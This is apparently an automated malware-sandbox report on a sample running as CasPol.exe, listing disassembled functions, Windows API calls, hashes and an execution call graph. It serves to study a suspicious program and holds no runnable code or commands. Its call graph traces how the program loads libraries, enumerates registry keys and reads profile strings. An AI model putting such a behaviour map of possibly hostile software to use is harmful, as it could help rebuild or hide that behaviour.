                                                                                                                                                                  • Opcode Fuzzy Hash: 96af4030734a5e2f6ef23c2ae6277f6dabdb1784b135b246f31e93988d402875
                                                                                                                                                                  • Instruction Fuzzy Hash: 4F21F3B1A003008FDB219F2B9445912FBE8FF90310B2AC8AF9158CB2B2D7B8C454CF15
                                                                                                                                                                  Function 0040A8D0 Relevance: 5.1, APIs: 4, Instructions: 69COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • wcslen.MSVCRT ref: 0040A8E2
                                                                                                                                                                    • Part of subcall function 004099F4: malloc.MSVCRT ref: 00409A10
                                                                                                                                                                    • Part of subcall function 004099F4: memcpy.MSVCRT(00000000,?,?,?,?,004027EB,00000004,?,?,?,00401F8F,00000000), ref: 00409A28
                                                                                                                                                                    • Part of subcall function 004099F4: free.MSVCRT ref: 00409A31
                                                                                                                                                                  • free.MSVCRT ref: 0040A908
                                                                                                                                                                  • free.MSVCRT ref: 0040A92B
                                                                                                                                                                  • memcpy.MSVCRT(?,?,000000FF,00000000,?,?,00000000,?,0040320A,00000000,000000FF), ref: 0040A94F
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: free$memcpy$mallocwcslen
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 726966127-0
                                                                                                                                                                  • Opcode ID: e8e6c2fed7f9440c8640dc4717368e77cb96f6303dd1ec86a793a42355efe2a9
                                                                                                                                                                  • Instruction ID: f32a9ac0308abec2140ef864181b54c8d04bf3279582b466e144db770ea3622c
                                                                                                                                                                  • Opcode Fuzzy Hash: e8e6c2fed7f9440c8640dc4717368e77cb96f6303dd1ec86a793a42355efe2a9
                                                                                                                                                                  • Instruction Fuzzy Hash: 64217CB2200704EFC720DF18D88189AB3F9FF453247118A2EF866AB6A1CB35AD15CB55
                                                                                                                                                                  Function 0040B1D1 Relevance: 5.1, APIs: 4, Instructions: 67COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • wcslen.MSVCRT ref: 0040B1DE
                                                                                                                                                                  • free.MSVCRT ref: 0040B201
                                                                                                                                                                    • Part of subcall function 004099F4: malloc.MSVCRT ref: 00409A10
                                                                                                                                                                    • Part of subcall function 004099F4: memcpy.MSVCRT(00000000,?,?,?,?,004027EB,00000004,?,?,?,00401F8F,00000000), ref: 00409A28
                                                                                                                                                                    • Part of subcall function 004099F4: free.MSVCRT ref: 00409A31
                                                                                                                                                                  • free.MSVCRT ref: 0040B224
                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,-00000002,00000000,00000000,?,?,?,?,0040B319,0040B432,00000000,?,?,0040B432,00000000), ref: 0040B248
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: free$memcpy$mallocwcslen
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 726966127-0
                                                                                                                                                                  • Opcode ID: 6421ea3f553dae7d25363b5bd64276aec0fbe05fa0d8b4b2605bf4838246495e
                                                                                                                                                                  • Instruction ID: 71128cbd9221161776fa816c6212d75478d488e0bdd8d9cf72ea7cd81dda7be0
                                                                                                                                                                  • Opcode Fuzzy Hash: 6421ea3f553dae7d25363b5bd64276aec0fbe05fa0d8b4b2605bf4838246495e
                                                                                                                                                                  • Instruction Fuzzy Hash: 02215BB2500604EFD720DF18D881CAAB7F9EF49324B114A6EE452976A1CB35B9158B98
                                                                                                                                                                  Function 00408ADC Relevance: 5.1, APIs: 4, Instructions: 63COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memcmp.MSVCRT ref: 00408AF3
                                                                                                                                                                    • Part of subcall function 00408A6E: memcmp.MSVCRT ref: 00408A8C
                                                                                                                                                                    • Part of subcall function 00408A6E: memcpy.MSVCRT(00000363,004096AA,4415FF50,?), ref: 00408ABB
                                                                                                                                                                    • Part of subcall function 00408A6E: memcpy.MSVCRT(-00000265,004096AF,00000060,00000363,004096AA,4415FF50,?), ref: 00408AD0
                                                                                                                                                                  • memcmp.MSVCRT ref: 00408B2B
                                                                                                                                                                  • memcmp.MSVCRT ref: 00408B5C
                                                                                                                                                                  • memcpy.MSVCRT(0000023E,00409690,?), ref: 00408B79
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcmp$memcpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 231171946-0
                                                                                                                                                                  • Opcode ID: cadc00b77c621a7338fc70958db42bdaca3a8748761d36a10e112d3b7644ebb1
                                                                                                                                                                  • Instruction ID: 684d12db3f6cc64b33ac9287d8c213aaad77bc3869a84850190dd4d7d2050874
                                                                                                                                                                  • Opcode Fuzzy Hash: cadc00b77c621a7338fc70958db42bdaca3a8748761d36a10e112d3b7644ebb1
                                                                                                                                                                  • Instruction Fuzzy Hash: 8411A9F1600308AAFF202A129D07F5A3658DB21768F25443FFC84641D2FE7DAA50C55E
                                                                                                                                                                  Function 0040B0D1 Relevance: 5.1, APIs: 4, Instructions: 55stringCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • strlen.MSVCRT ref: 0040B0D8
                                                                                                                                                                  • free.MSVCRT ref: 0040B0FB
                                                                                                                                                                    • Part of subcall function 004099F4: malloc.MSVCRT ref: 00409A10
                                                                                                                                                                    • Part of subcall function 004099F4: memcpy.MSVCRT(00000000,?,?,?,?,004027EB,00000004,?,?,?,00401F8F,00000000), ref: 00409A28
                                                                                                                                                                    • Part of subcall function 004099F4: free.MSVCRT ref: 00409A31
                                                                                                                                                                  • free.MSVCRT ref: 0040B12C
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000000,00000000,0040B35A,?), ref: 0040B159
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: free$memcpy$mallocstrlen
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3669619086-0
                                                                                                                                                                  • Opcode ID: 1049280fa2475c497c1b628b605c6dc2082e028c9e0fefa85919baabf6481477
                                                                                                                                                                  • Instruction ID: 61abf4b4d63bdfee40e3433ef4540d9b033b11d4199be086b3082c0bee804e2f
                                                                                                                                                                  • Opcode Fuzzy Hash: 1049280fa2475c497c1b628b605c6dc2082e028c9e0fefa85919baabf6481477
                                                                                                                                                                  • Instruction Fuzzy Hash: CA113A712042019FD711DB98FC499267B66EB8733AB25833BF4045A2A3CBB99834865F
                                                                                                                                                                  Function 004173E4 Relevance: 5.0, APIs: 4, Instructions: 41COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00418178,000000FF,00000000,00000000,00417D63,?,?,00417D63,00418178,00000000,?,004183E5,?,00000000), ref: 004173FF
                                                                                                                                                                  • malloc.MSVCRT ref: 00417407
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00418178,000000FF,00000000,00000000,?,00417D63,00418178,00000000,?,004183E5,?,00000000,00000000,?), ref: 0041741E
                                                                                                                                                                  • free.MSVCRT ref: 00417425
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ByteCharMultiWide$freemalloc
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2605342592-0
                                                                                                                                                                  • Opcode ID: 2d709113fcafe1a04d94ccb325df1834664bd2c227d6907f8f745ae81c56706a
                                                                                                                                                                  • Instruction ID: cad4d062c051d68cf548c6c9b5623cfc012c7edadb1d539185634ca375d1558c
                                                                                                                                                                  • Opcode Fuzzy Hash: 2d709113fcafe1a04d94ccb325df1834664bd2c227d6907f8f745ae81c56706a
                                                                                                                                                                  • Instruction Fuzzy Hash: E7F0377620921E7BDA1029655C40D77779CEB8B675B11072BBA10D21C1ED59D81005B5
                                                                                                                                                                  Function 00409D1F Relevance: 5.0, APIs: 4, Instructions: 32COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: wcslen$wcscat$wcscpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1961120804-0
                                                                                                                                                                  • Opcode ID: a9fb2844ceaa9879afdc746da54e0e12922ba62d069c0ab92073ae84f79bc1ad
                                                                                                                                                                  • Instruction ID: 298d28553a3f700387dea6c06157f027a7ba74c69b0fe1c0d14b010c740a3b55
                                                                                                                                                                  • Opcode Fuzzy Hash: a9fb2844ceaa9879afdc746da54e0e12922ba62d069c0ab92073ae84f79bc1ad
                                                                                                                                                                  • Instruction Fuzzy Hash: 3AE0E532000114BADF116FB2D8068CE3B99EF42364751883BFD08D2043EB3ED511869E

                                                                                                                                                                  Execution Graph

                                                                                                                                                                  Execution Coverage:3%
                                                                                                                                                                  Dynamic/Decrypted Code Coverage:23%
                                                                                                                                                                  Signature Coverage:0.2%
                                                                                                                                                                  Total number of Nodes:967
                                                                                                                                                                  Total number of Limit Nodes:16
                                                                                                                                                                  execution_graph 34260 40fc40 70 API calls 34435 403640 21 API calls 34261 427fa4 42 API calls 34436 412e43 _endthreadex 34437 425115 76 API calls __fprintf_l 34438 43fe40 133 API calls 34264 425115 83 API calls __fprintf_l 34265 401445 memcpy memcpy DialogBoxParamA 34266 440c40 34 API calls 33237 444c4a 33256 444e38 33237->33256 33239 444c56 GetModuleHandleA 33240 444c68 __set_app_type __p__fmode __p__commode 33239->33240 33242 444cfa 33240->33242 33243 444d02 __setusermatherr 33242->33243 33244 444d0e 33242->33244 33243->33244 33257 444e22 _controlfp 33244->33257 33246 444d13 _initterm __getmainargs _initterm 33247 444d6a GetStartupInfoA 33246->33247 33249 444d9e GetModuleHandleA 33247->33249 33258 40cf44 33249->33258 33253 444dcf _cexit 33255 444e04 33253->33255 33254 444dc8 exit 33254->33253 33256->33239 33257->33246 33309 404a99 LoadLibraryA 33258->33309 33260 40cf60 33295 40cf64 33260->33295 33317 410d0e 33260->33317 33262 40cf6f 33321 40ccd7 ??2@YAPAXI 33262->33321 33264 40cf9b 33335 407cbc 33264->33335 33269 40cfc4 33353 409825 memset 33269->33353 33270 40cfd8 33358 4096f4 memset 33270->33358 33275 407e30 _strcmpi 33277 40cfee 33275->33277 33276 40d181 ??3@YAXPAX 33278 40d1b3 33276->33278 33279 40d19f DeleteObject 33276->33279 33281 40cff2 RegDeleteKeyA 33277->33281 33282 40d007 EnumResourceTypesA 33277->33282 33382 407948 free free 33278->33382 33279->33278 33281->33276 33284 40d047 33282->33284 33285 40d02f MessageBoxA 33282->33285 33283 40d1c4 33383 4080d4 33283->33383 33287 40d0a0 CoInitialize 33284->33287 33363 40ce70 33284->33363 33285->33276 33380 40cc26 strncat memset RegisterClassA CreateWindowExA 33287->33380 33293 40d0b1 ShowWindow UpdateWindow LoadAcceleratorsA 33381 40c256 PostMessageA 33293->33381 33295->33253 33295->33254 33296 40d061 ??3@YAXPAX 33296->33278 33299 40d084 DeleteObject 33296->33299 33297 40d09e 33297->33287 33299->33278 33301 40d0f9 GetMessageA 33302 40d17b CoUninitialize 33301->33302 33303 40d10d 33301->33303 33302->33276 33304 40d113 TranslateAccelerator 33303->33304 33306 40d145 IsDialogMessage 33303->33306 33307 40d139 IsDialogMessage 33303->33307 33304->33303 33305 40d16d GetMessageA 33304->33305 33305->33302 33305->33304 33306->33305 33308 40d157 TranslateMessage DispatchMessageA 33306->33308 33307->33305 33307->33306 33308->33305 33310 404ac4 GetProcAddress 33309->33310 33311 404aec 33309->33311 33312 404ad4 33310->33312 33313 404add FreeLibrary 33310->33313 33315 404b13 33311->33315 33316 404afc MessageBoxA 33311->33316 33312->33313 33313->33311 33314 404ae8 33313->33314 33314->33311 33315->33260 33316->33260 33318 410d17 LoadLibraryA 33317->33318 33319 410d3c 33317->33319 33318->33319 33320 410d2b GetProcAddress 33318->33320 33319->33262 33320->33319 33322 40cd08 ??2@YAPAXI 33321->33322 33324 40cd26 33322->33324 33325 40cd2d 33322->33325 33394 404025 6 API calls 33324->33394 33327 40cd66 33325->33327 33328 40cd59 DeleteObject 33325->33328 33387 407088 33327->33387 33328->33327 33330 40cd6b 33390 4019b5 33330->33390 33333 4019b5 strncat 33334 40cdbf _mbscpy 33333->33334 33334->33264 33396 407948 free free 33335->33396 33337 407e04 33397 407a55 33337->33397 33340 407a1f malloc memcpy free free 33347 407cf7 33340->33347 33341 407ddc 33341->33337 33418 407a1f 33341->33418 33343 407d7a free 33343->33347 33347->33337 33347->33340 33347->33341 33347->33343 33400 40796e strlen 33347->33400 33410 406f30 33347->33410 33348 40796e 7 API calls 33348->33337 33349 407e30 33350 407e38 33349->33350 33351 407e57 33349->33351 33350->33351 33352 407e41 _strcmpi 33350->33352 33351->33269 33351->33270 33352->33350 33352->33351 33423 4097ff 33353->33423 33355 409854 33428 409731 33355->33428 33359 4097ff 3 API calls 33358->33359 33360 409723 33359->33360 33448 40966c GetFileAttributesA GetPrivateProfileStringA _mbscpy _mbscpy GetPrivateProfileIntA 33360->33448 33362 40972b 33362->33275 33449 4023b2 33363->33449 33369 40ced3 33544 40cdda 7 API calls 33369->33544 33370 40cece 33373 40cf3f 33370->33373 33490 40c3d0 memset GetModuleFileNameA strrchr 33370->33490 33373->33296 33373->33297 33376 40ceed 33518 40affa 33376->33518 33380->33293 33381->33301 33382->33283 33384 4080e1 33383->33384 33385 4080da free 33383->33385 33386 407948 free free 33384->33386 33385->33384 33386->33295 33395 406fc7 memset _mbscpy 33387->33395 33389 40709f CreateFontIndirectA 33389->33330 33391 4019e1 33390->33391 33392 4019c2 strncat 33391->33392 33393 4019e5 memset LoadIconA 33391->33393 33392->33391 33393->33333 33394->33325 33395->33389 33396->33347 33398 407a65 33397->33398 33399 407a5b free 33397->33399 33398->33349 33399->33398 33401 4079a1 33400->33401 33402 407998 free 33400->33402 33404 406f30 3 API calls 33401->33404 33403 4079ab 33402->33403 33405 4079c4 33403->33405 33406 4079bb free 33403->33406 33404->33403 33408 406f30 3 API calls 33405->33408 33407 4079d0 memcpy 33406->33407 33407->33347 33409 4079cf 33408->33409 33409->33407 33411 406f37 malloc 33410->33411 33412 406f7d 33410->33412 33414 406f73 33411->33414 33415 406f58 33411->33415 33412->33347 33414->33347 33416 406f6c free 33415->33416 33417 406f5c memcpy 33415->33417 33416->33414 33417->33416 33419 407a38 33418->33419 33420 407a2d free 33418->33420 33422 406f30 3 API calls 33419->33422 33421 407a43 33420->33421 33421->33348 33422->33421 33439 406f96 GetModuleFileNameA 33423->33439 33425 409805 strrchr 33426 409814 33425->33426 33427 409817 _mbscat 33425->33427 33426->33427 33427->33355 33440 44b090 33428->33440 33433 40930c 3 API calls 33434 409779 EnumResourceNamesA EnumResourceNamesA _mbscpy memset 33433->33434 33435 4097c5 LoadStringA 33434->33435 33438 4097db 33435->33438 33437 4097f3 33437->33276 33438->33435 33438->33437 33447 40937a memset GetPrivateProfileStringA WritePrivateProfileStringA _itoa 33438->33447 33439->33425 33441 40973e _mbscpy _mbscpy 33440->33441 33442 40930c 33441->33442 33443 44b090 33442->33443 33444 409319 memset GetPrivateProfileStringA 33443->33444 33445 409374 33444->33445 33446 409364 WritePrivateProfileStringA 33444->33446 33445->33433 33446->33445 33447->33438 33448->33362 33545 409c1c 33449->33545 33452 401e69 memset 33584 410dbb 33452->33584 33455 401ec2 33615 4070e3 strlen _mbscat _mbscpy _mbscat 33455->33615 33456 401ed4 33600 406f81 GetFileAttributesA 33456->33600 33459 401ee6 strlen strlen 33461 401f15 33459->33461 33462 401f28 33459->33462 33616 4070e3 strlen _mbscat _mbscpy _mbscat 33461->33616 33601 406f81 GetFileAttributesA 33462->33601 33465 401f35 33602 401c31 33465->33602 33468 401f75 33614 410a9c RegOpenKeyExA 33468->33614 33469 401c31 7 API calls 33469->33468 33471 401f91 33472 402187 33471->33472 33473 401f9c memset 33471->33473 33475 402195 ExpandEnvironmentStringsA 33472->33475 33476 4021a8 _strcmpi 33472->33476 33617 410b62 RegEnumKeyExA 33473->33617 33626 406f81 GetFileAttributesA 33475->33626 33476->33369 33476->33370 33478 40217e RegCloseKey 33478->33472 33479 401fd9 atoi 33480 401fef memset memset sprintf 33479->33480 33488 401fc9 33479->33488 33618 410b1e 33480->33618 33483 402165 33483->33478 33484 406f81 GetFileAttributesA 33484->33488 33485 402076 memset memset strlen strlen 33485->33488 33486 4070e3 strlen _mbscat _mbscpy _mbscat 33486->33488 33487 4020dd strlen strlen 33487->33488 33488->33478 33488->33479 33488->33483 33488->33484 33488->33485 33488->33486 33488->33487 33489 402167 _mbscpy 33488->33489 33625 410b62 RegEnumKeyExA 33488->33625 33489->33478 33491 40c422 33490->33491 33492 40c425 _mbscat _mbscpy _mbscpy 33490->33492 33491->33492 33493 40c49d 33492->33493 33494 40c512 33493->33494 33495 40c502 GetWindowPlacement 33493->33495 33496 40c538 33494->33496 33647 4017d2 GetSystemMetrics GetSystemMetrics SetWindowPos 33494->33647 33495->33494 33640 409b31 33496->33640 33500 40ba28 33501 40ba87 33500->33501 33507 40ba3c 33500->33507 33650 406c62 LoadCursorA SetCursor 33501->33650 33503 40ba8c 33651 410a9c RegOpenKeyExA 33503->33651 33652 4107f1 33503->33652 33655 410808 33503->33655 33659 404734 33503->33659 33667 404785 33503->33667 33670 403c16 33503->33670 33504 40ba43 _mbsicmp 33504->33507 33505 40baa0 33506 407e30 _strcmpi 33505->33506 33510 40bab0 33506->33510 33507->33501 33507->33504 33744 40b5e5 10 API calls 33507->33744 33508 40bafa SetCursor 33508->33376 33510->33508 33511 40baf1 qsort 33510->33511 33511->33508 34202 409ded SendMessageA ??2@YAPAXI ??3@YAXPAX 33518->34202 33520 40b00e 33521 40b016 33520->33521 33522 40b01f GetStdHandle 33520->33522 34203 406d1a CreateFileA 33521->34203 33524 40b01c 33522->33524 33525 40b035 33524->33525 33526 40b12d 33524->33526 34204 406c62 LoadCursorA SetCursor 33525->34204 34208 406d77 9 API calls 33526->34208 33529 40b136 33539 40c580 33529->33539 33530 40b087 33537 40b0a1 33530->33537 34206 40a699 12 API calls 33530->34206 33531 40b042 33531->33530 33531->33537 34205 40a57c strlen WriteFile 33531->34205 33534 40b0d6 33535 40b116 CloseHandle 33534->33535 33536 40b11f SetCursor 33534->33536 33535->33536 33536->33529 33537->33534 34207 406d77 9 API calls 33537->34207 33540 40c597 33539->33540 33541 40c58b 33539->33541 33540->33373 34209 404156 33541->34209 33544->33370 33557 409a32 33545->33557 33548 409c80 memcpy memcpy 33549 409cda 33548->33549 33549->33548 33550 408db6 12 API calls 33549->33550 33551 409d18 ??2@YAPAXI ??2@YAPAXI 33549->33551 33550->33549 33552 409d8b 33551->33552 33554 409d54 ??2@YAPAXI 33551->33554 33567 409b9c 33552->33567 33554->33552 33556 4023c1 33556->33452 33558 409a44 33557->33558 33559 409a3d ??3@YAXPAX 33557->33559 33560 409a52 33558->33560 33561 409a4b ??3@YAXPAX 33558->33561 33559->33558 33562 409a63 33560->33562 33563 409a5c ??3@YAXPAX 33560->33563 33561->33560 33564 409a83 ??2@YAPAXI ??2@YAPAXI 33562->33564 33565 409a73 ??3@YAXPAX 33562->33565 33566 409a7c ??3@YAXPAX 33562->33566 33563->33562 33564->33548 33565->33566 33566->33564 33568 407a55 free 33567->33568 33569 409ba5 33568->33569 33570 407a55 free 33569->33570 33571 409bad 33570->33571 33572 407a55 free 33571->33572 33573 409bb5 33572->33573 33574 407a55 free 33573->33574 33575 409bbd 33574->33575 33576 407a1f 4 API calls 33575->33576 33577 409bd0 33576->33577 33578 407a1f 4 API calls 33577->33578 33579 409bda 33578->33579 33580 407a1f 4 API calls 33579->33580 33581 409be4 33580->33581 33582 407a1f 4 API calls 33581->33582 33583 409bee 33582->33583 33583->33556 33585 410d0e 2 API calls 33584->33585 33586 410dca 33585->33586 33587 410dfd memset 33586->33587 33627 4070ae 33586->33627 33588 410e1d 33587->33588 33630 410a9c RegOpenKeyExA 33588->33630 33592 410dee SHGetSpecialFolderPathA 33593 401e9e strlen strlen 33592->33593 33593->33455 33593->33456 33594 410e4a 33595 410e7f _mbscpy 33594->33595 33631 410d3d _mbscpy 33594->33631 33595->33593 33597 410e5b 33632 410add RegQueryValueExA 33597->33632 33599 410e73 RegCloseKey 33599->33595 33600->33459 33601->33465 33633 410a9c RegOpenKeyExA 33602->33633 33604 401c4c 33605 401cad 33604->33605 33634 410add RegQueryValueExA 33604->33634 33605->33468 33605->33469 33607 401c6a 33608 401c71 strchr 33607->33608 33609 401ca4 RegCloseKey 33607->33609 33608->33609 33610 401c85 strchr 33608->33610 33609->33605 33610->33609 33611 401c94 33610->33611 33635 406f06 strlen 33611->33635 33613 401ca1 33613->33609 33614->33471 33615->33456 33616->33462 33617->33488 33638 410a9c RegOpenKeyExA 33618->33638 33620 410b34 33621 410b5d 33620->33621 33639 410add RegQueryValueExA 33620->33639 33621->33488 33623 410b4c RegCloseKey 33623->33621 33625->33488 33626->33476 33628 4070bd GetVersionExA 33627->33628 33629 4070ce 33627->33629 33628->33629 33629->33587 33629->33592 33630->33594 33631->33597 33632->33599 33633->33604 33634->33607 33636 406f17 33635->33636 33637 406f1a memcpy 33635->33637 33636->33637 33637->33613 33638->33620 33639->33623 33641 409b40 33640->33641 33643 409b4e 33640->33643 33648 409901 memset SendMessageA 33641->33648 33644 409b99 33643->33644 33645 409b8b 33643->33645 33644->33500 33649 409868 SendMessageA 33645->33649 33647->33496 33648->33643 33649->33644 33650->33503 33651->33505 33653 410807 33652->33653 33654 4107fc FreeLibrary 33652->33654 33653->33505 33654->33653 33656 410816 33655->33656 33657 4107f1 FreeLibrary 33656->33657 33658 410825 33657->33658 33658->33505 33660 404785 FreeLibrary 33659->33660 33661 40473b LoadLibraryA 33660->33661 33662 40474c GetProcAddress 33661->33662 33665 40476e 33661->33665 33663 404764 33662->33663 33662->33665 33663->33665 33664 404781 33664->33505 33665->33664 33666 404785 FreeLibrary 33665->33666 33666->33664 33668 4047a3 33667->33668 33669 404799 FreeLibrary 33667->33669 33668->33505 33669->33668 33671 4107f1 FreeLibrary 33670->33671 33672 403c30 LoadLibraryA 33671->33672 33673 403c5e 33672->33673 33674 403c44 GetProcAddress 33672->33674 33675 4107f1 FreeLibrary 33673->33675 33676 403c6b 33673->33676 33674->33673 33675->33676 33677 404734 3 API calls 33676->33677 33678 403c86 33677->33678 33745 4036e5 33678->33745 33681 4036e5 27 API calls 33682 403c9a 33681->33682 33683 4036e5 27 API calls 33682->33683 33684 403ca4 33683->33684 33685 4036e5 27 API calls 33684->33685 33686 403cae 33685->33686 33757 4085d2 33686->33757 33694 403ce5 33695 403cf7 33694->33695 33943 402bd1 40 API calls 33694->33943 33803 410a9c RegOpenKeyExA 33695->33803 33698 403d0a 33699 403d1c 33698->33699 33944 402bd1 40 API calls 33698->33944 33804 402c5d 33699->33804 33703 4070ae GetVersionExA 33704 403d31 33703->33704 33822 410a9c RegOpenKeyExA 33704->33822 33706 403d51 33707 403d61 33706->33707 33823 402b22 memset 33706->33823 33832 410a9c RegOpenKeyExA 33707->33832 33710 403d87 33711 403d97 33710->33711 33712 402b22 47 API calls 33710->33712 33833 410a9c RegOpenKeyExA 33711->33833 33712->33711 33714 403dbd 33715 403dcd 33714->33715 33716 402b22 47 API calls 33714->33716 33717 410808 FreeLibrary 33715->33717 33716->33715 33718 403ddd 33717->33718 33719 404785 FreeLibrary 33718->33719 33720 403de8 33719->33720 33834 402fdb 33720->33834 33723 402fdb 34 API calls 33724 403e00 33723->33724 33850 4032b7 33724->33850 33733 403e3b 33735 403e73 33733->33735 33736 403e46 _mbscpy 33733->33736 33897 40fb00 33735->33897 33946 40f334 334 API calls 33736->33946 33744->33507 33746 4037c5 33745->33746 33747 4036fb 33745->33747 33746->33681 33947 410863 UuidFromStringA UuidFromStringA 33747->33947 33750 403716 strchr 33750->33746 33751 403730 33750->33751 33951 4021b6 memset 33751->33951 33753 40373f _mbscpy _mbscpy strlen 33754 4037a4 _mbscpy 33753->33754 33755 403789 sprintf 33753->33755 33952 4023e5 16 API calls 33754->33952 33755->33754 33758 4085e2 33757->33758 33953 4082cd 11 API calls 33758->33953 33762 408600 33763 403cba 33762->33763 33764 40860b memset 33762->33764 33775 40821d 33763->33775 33956 410b62 RegEnumKeyExA 33764->33956 33766 4086d2 RegCloseKey 33766->33763 33768 408637 33768->33766 33769 40865c memset 33768->33769 33957 410a9c RegOpenKeyExA 33768->33957 33960 410b62 RegEnumKeyExA 33768->33960 33958 410add RegQueryValueExA 33769->33958 33772 408694 33959 40848b 10 API calls 33772->33959 33774 4086ab RegCloseKey 33774->33768 33961 410a9c RegOpenKeyExA 33775->33961 33777 40823f 33778 403cc6 33777->33778 33779 408246 memset 33777->33779 33787 4086e0 33778->33787 33962 410b62 RegEnumKeyExA 33779->33962 33781 4082bf RegCloseKey 33781->33778 33783 40826f 33783->33781 33963 410a9c RegOpenKeyExA 33783->33963 33964 4080ed 11 API calls 33783->33964 33965 410b62 RegEnumKeyExA 33783->33965 33786 4082a2 RegCloseKey 33786->33783 33966 4045db 33787->33966 33789 4088ef 33974 404656 33789->33974 33793 408737 wcslen 33793->33789 33799 40876a 33793->33799 33794 40877a wcsncmp 33794->33799 33796 404734 3 API calls 33796->33799 33797 404785 FreeLibrary 33797->33799 33798 408812 memset 33798->33799 33800 40883c memcpy wcschr 33798->33800 33799->33789 33799->33794 33799->33796 33799->33797 33799->33798 33799->33800 33801 4088c3 LocalFree 33799->33801 33977 40466b _mbscpy 33799->33977 33800->33799 33801->33799 33802 410a9c RegOpenKeyExA 33802->33694 33803->33698 33978 410a9c RegOpenKeyExA 33804->33978 33806 402c7a 33807 402da5 33806->33807 33808 402c87 memset 33806->33808 33807->33703 33979 410b62 RegEnumKeyExA 33808->33979 33810 402d9c RegCloseKey 33810->33807 33811 410b1e 3 API calls 33812 402ce4 memset sprintf 33811->33812 33980 410a9c RegOpenKeyExA 33812->33980 33814 402d28 33815 402d3a sprintf 33814->33815 33983 402bd1 40 API calls 33814->33983 33981 410a9c RegOpenKeyExA 33815->33981 33820 402cb2 33820->33810 33820->33811 33821 402d9a 33820->33821 33982 410b62 RegEnumKeyExA 33820->33982 33984 402bd1 40 API calls 33820->33984 33821->33810 33822->33706 33985 410b62 RegEnumKeyExA 33823->33985 33825 402bbb RegCloseKey 33825->33707 33826 406f06 2 API calls 33828 402b58 33826->33828 33828->33825 33828->33826 33831 402bb8 33828->33831 33986 410a9c RegOpenKeyExA 33828->33986 33987 402a9d memset 33828->33987 33995 410b62 RegEnumKeyExA 33828->33995 33831->33825 33832->33710 33833->33714 34035 410a9c RegOpenKeyExA 33834->34035 33836 402ff9 33837 403006 memset 33836->33837 33838 40312c 33836->33838 34036 410b62 RegEnumKeyExA 33837->34036 33838->33723 33840 403122 RegCloseKey 33840->33838 33841 410b1e 3 API calls 33842 403058 memset sprintf 33841->33842 34037 410a9c RegOpenKeyExA 33842->34037 33844 4030a2 memset 34038 410b62 RegEnumKeyExA 33844->34038 33846 410b62 RegEnumKeyExA 33849 403033 33846->33849 33847 4030f9 RegCloseKey 33847->33849 33849->33840 33849->33841 33849->33844 33849->33846 33849->33847 34039 402db3 26 API calls 33849->34039 33851 4032d5 33850->33851 33852 4033a9 33850->33852 34040 4021b6 memset 33851->34040 33865 4034e4 memset memset 33852->33865 33854 4032e1 34041 403166 strlen GetPrivateProfileStringA strchr strlen memcpy 33854->34041 33856 4032ea 33857 4032f8 memset GetPrivateProfileSectionA 33856->33857 34042 4023e5 16 API calls 33856->34042 33857->33852 33862 40332f 33857->33862 33859 40339b strlen 33859->33852 33859->33862 33861 403350 strchr 33861->33862 33862->33852 33862->33859 34043 4021b6 memset 33862->34043 34044 403166 strlen GetPrivateProfileStringA strchr strlen memcpy 33862->34044 34045 4023e5 16 API calls 33862->34045 33866 410b1e 3 API calls 